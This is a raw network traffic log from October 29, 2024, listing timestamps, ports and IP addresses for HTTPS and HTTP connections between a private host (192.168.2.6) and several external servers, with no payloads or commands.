Oct 29, 2024 15:27:49.810956001 CET	443	50024	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:49.811033964 CET	50024	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:49.811219931 CET	50024	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:49.811233997 CET	443	50024	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:49.823335886 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.824343920 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.825551987 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.825579882 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.825597048 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.825658083 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.825712919 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.825747013 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.825769901 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.831330061 CET	443	50021	18.245.113.126	192.168.2.6
Oct 29, 2024 15:27:49.834073067 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.834096909 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.834150076 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.834167004 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.834197998 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.834577084 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.834604025 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.834619045 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.834673882 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.834692001 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.834712029 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.834757090 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.835067034 CET	443	50014	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.835123062 CET	50014	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.839597940 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.842684984 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.842715979 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.842818975 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.842818975 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.842829943 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.842871904 CET	50015	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.843337059 CET	443	50015	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.863461018 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.863547087 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.863579035 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.863589048 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.863626003 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.863650084 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.863682985 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.863765001 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.863825083 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.863825083 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.863825083 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.863825083 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.863826036 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.863842010 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.863889933 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.871072054 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.871082067 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.871140957 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.871160030 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.871165037 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.871203899 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.871267080 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.871267080 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.872268915 CET	443	50016	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:49.872335911 CET	50016	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:49.885742903 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.885757923 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.886193037 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.886198044 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.889151096 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.889151096 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.889182091 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.889205933 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.898195028 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.898221970 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.898299932 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.898458004 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.898466110 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.900589943 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.900994062 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.901010990 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.901539087 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:49.901545048 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:49.902312040 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902322054 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902328968 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902364969 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902383089 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.902415037 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.902487993 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902535915 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.902595997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902605057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902610064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902646065 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.902669907 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.902806044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902827024 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902833939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902858973 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.902873039 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.902889967 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902900934 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902914047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902920008 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.902951956 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.903403997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903456926 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.903490067 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903497934 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903518915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903526068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903542042 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.903547049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903553963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903563976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903573036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903575897 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.903582096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903599977 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.903616905 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.903635979 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.903670073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903676987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903688908 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903696060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903707027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903723001 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.903727055 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903729916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903737068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903748989 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.903769970 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.903793097 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.903820992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903830051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903841972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903847933 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903855085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903860092 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903866053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903871059 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.903891087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903909922 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903915882 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.903917074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903925896 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903934002 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903948069 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903969049 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.903996944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.903997898 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904006958 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904028893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904035091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904046059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904052019 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904058933 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904064894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904072046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904078007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904086113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904090881 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904093981 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904109001 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904114962 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904141903 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904153109 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904192924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904201984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904207945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904215097 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904221058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904237032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904243946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904247046 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904251099 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904258013 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904264927 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904282093 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904299021 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904323101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904376030 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904448032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904468060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904483080 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904489994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904501915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904508114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904515028 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904515028 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904524088 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904531956 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904542923 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904546022 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904551029 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904566050 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904589891 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904604912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904613018 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904618979 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904620886 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904625893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904633045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904639006 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904645920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904650927 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904653072 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904659986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904690027 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904709101 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904745102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904755116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904767990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904773951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904781103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904786110 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904800892 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904812098 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904819012 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904825926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904828072 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904831886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904839993 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904859066 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904874086 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904882908 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904897928 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904901028 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904906034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904917955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904931068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904938936 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904952049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904959917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904962063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904964924 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.904968023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904983997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.904997110 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905025959 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905038118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905045033 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905046940 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905067921 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905073881 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905081034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905086994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905102015 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905111074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905138969 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905160904 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905185938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905194044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905205011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905210018 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905242920 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905246019 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905255079 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905272961 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905289888 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905309916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905317068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905328989 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905335903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905343056 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905347109 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905400991 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905426025 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905461073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905474901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905507088 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905538082 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905576944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905586004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905597925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905603886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905616045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905622005 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905631065 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905642033 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905652046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905659914 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905664921 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905674934 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905680895 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905688047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905694008 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905695915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905709982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905714989 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905715942 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905730009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905742884 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905761957 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905766964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905776024 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905780077 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905782938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905790091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905813932 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905842066 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.905939102 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905952930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905966997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.905972004 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906004906 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906029940 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906047106 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906054974 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906061888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906084061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906094074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906100035 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906106949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906147003 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906172037 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906172037 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906215906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906223059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906235933 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906241894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906249046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906255960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906270027 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906301022 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906356096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906362057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906374931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906382084 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906407118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906414986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906416893 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906421900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906438112 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906443119 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906444073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906450987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906461954 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906470060 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906480074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906486034 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:49.906495094 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:49.906501055 CET	80	49940	185.215.113.206	192.168.2.6
